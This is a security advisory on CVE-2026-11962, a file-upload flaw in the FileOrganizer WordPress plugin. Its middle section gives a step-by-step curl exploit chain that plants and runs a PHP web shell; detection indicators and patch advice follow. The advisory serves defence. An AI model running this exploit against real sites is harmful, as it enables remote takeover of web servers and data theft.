CVE-2026-11962: 
WordPress vulnerability analysis and mitigation

CVE-2026-11962 is an authenticated arbitrary file upload vulnerability in the FileOrganizer WordPress plugin before version 1.2.0, enabling remote code execution (RCE) via the elFinder file manager interface. It affects all FileOrganizer plugin versions prior to 1.2.0 and represents an incomplete fix of the prior vulnerability CVE-2024-7985, which only added file-type validation to the upload operation but left other file-management operations (e.g., mkfile, put, rename) unprotected. The vulnerability was publicly disclosed on June 15, 2026, and published to the NVD on July 6, 2026. It carries a CVSS v3.1 base score of 8.8 (High) (WPScan, Github Advisory).

The root cause is improper file type validation (CWE-434: Unrestricted Upload of File with Dangerous Type) across multiple elFinder file-management operations — specifically mkfile, put, and rename — while only the upload command received a fix in the prior patch for CVE-2024-7985. An authenticated attacker with file-manager access can exploit these unvalidated operations to create a PHP file directly (cmd=mkfile), write arbitrary PHP content into it (cmd=put), or upload a permitted file type and rename it to .php (cmd=rename), all via WordPress AJAX endpoints. Exploitation requires the attacker to hold a role granted file-manager access; by default this is Administrator-only, but the FileOrganizer Pro premium add-on can extend this capability to sub-administrator roles such as Subscriber via its "Allowed User Roles" setting (WPScan, Github Advisory). A detailed proof-of-concept with curl commands was published by the original researcher, Revanth Hari Narayana Matte (WPScan).

Successful exploitation allows an authenticated attacker to upload and execute arbitrary PHP files in the WordPress webroot, achieving full remote code execution on the web server. This results in high confidentiality, integrity, and availability impact — an attacker can read sensitive data (database credentials, user data), modify or delete site content, install backdoors, and potentially pivot to other systems on the same host or network. The risk is most severe on sites using FileOrganizer Pro with file-manager access granted to low-privilege roles, as this significantly lowers the bar for exploitation (WPScan, Github Advisory).

1. Reconnaissance: Identify WordPress sites running FileOrganizer (free) and FileOrganizer Pro with sub-administrator roles granted file-manager access via the Pro plugin's "Allowed User Roles" setting. Confirm the target is running a version below 1.2.0.
2. Authentication: Log in to the WordPress site using a low-privilege account (e.g., Subscriber) that has been granted file-manager access:

   curl -s -c jar -d 'log=USER&pwd=PASS&wp-submit=Log+In&testcookie=1' -H 'Cookie: wordpress_test_cookie=WP Cookie check' https://TARGET/wp-login.php

3. Obtain AJAX nonce: Load the file-manager admin page and extract the fileorganizer_ajax_nonce value:

   NONCE=$(curl -s -b jar 'https://TARGET/wp-admin/admin.php?page=fileorganizer' | grep -oE 'fileorganizer_ajax_nonce = "[a-f0-9]+"' | grep -oE '[a-f0-9]{10}')

4. Get root volume hash: Issue an open command to the elFinder AJAX endpoint to retrieve the root directory hash (e.g., l1_Lw):

   curl -s -b jar --data-urlencode 'action=fileorganizer_file_folder_manager' --data-urlencode "fileorganizer_nonce=$NONCE" --data-urlencode 'cmd=open' --data-urlencode 'target=' --data-urlencode 'init=1' https://TARGET/wp-admin/admin-ajax.php

5. Create PHP file (bypassing upload check): Use cmd=mkfile to create an empty shell.php in the webroot — this operation has no file-type validation:

   curl -s -b jar --data-urlencode 'action=fileorganizer_file_folder_manager' --data-urlencode "fileorganizer_nonce=$NONCE" --data-urlencode 'cmd=mkfile' --data-urlencode 'target=ROOT_HASH' --data-urlencode 'name=shell.php' https://TARGET/wp-admin/admin-ajax.php

6. Write PHP payload: Use cmd=put to write a PHP web shell into the newly created file (no file-type re-check occurs):

   curl -s -b jar --data-urlencode 'action=fileorganizer_file_folder_manager' --data-urlencode "fileorganizer_nonce=$NONCE" --data-urlencode 'cmd=put' --data-urlencode 'target=SHELL_HASH' --data-urlencode 'content=<?php system($_GET["cmd"]); ?>' https://TARGET/wp-admin/admin-ajax.php

7. Execute RCE: Access the uploaded shell unauthenticated from any browser or curl:

   curl -s 'https://TARGET/shell.php?cmd=id'

8. Alternative — rename primitive: Upload a file with an allowed extension (e.g., evil.png) via cmd=upload, then use cmd=rename to rename it to evil.php — the rename operation performs no file-type re-validation (WPScan).

• Network: Unusual POST requests to wp-admin/admin-ajax.php with action=fileorganizer_file_folder_manager and cmd values of mkfile, put, or rename from low-privilege user sessions; outbound connections from the web server process to unknown external IPs following file creation.
• File System: Unexpected .php files in the WordPress webroot or subdirectories (e.g., shell.php, renamed.php) not associated with any plugin or theme; PHP files with content matching web shell patterns (e.g., system(), exec(), passthru(), eval()).
• Logs: WordPress access logs showing repeated AJAX requests to admin-ajax.php with fileorganizer_file_folder_manager action and cmd=mkfile, cmd=put, or cmd=rename parameters from non-administrator accounts; HTTP 200 responses to newly created .php files in the webroot from external IPs.
• Process: Unusual child processes spawned by the web server process (e.g., Apache/Nginx/PHP-FPM spawning bash, sh, curl, wget, or python) following access to suspicious PHP files (WPScan).

Update the FileOrganizer WordPress plugin to version 1.2.0 or later, which addresses the incomplete fix from CVE-2024-7985 by adding file-type validation to all relevant file-management operations (WPScan, Github Advisory). As interim mitigations: restrict file-manager access permissions to trusted administrator-level users only and avoid granting file-manager access to sub-administrator roles via the FileOrganizer Pro "Allowed User Roles" setting; consider disabling the file-manager functionality entirely if it is not actively needed. Regularly audit the WordPress webroot and plugin directories for unexpected PHP files.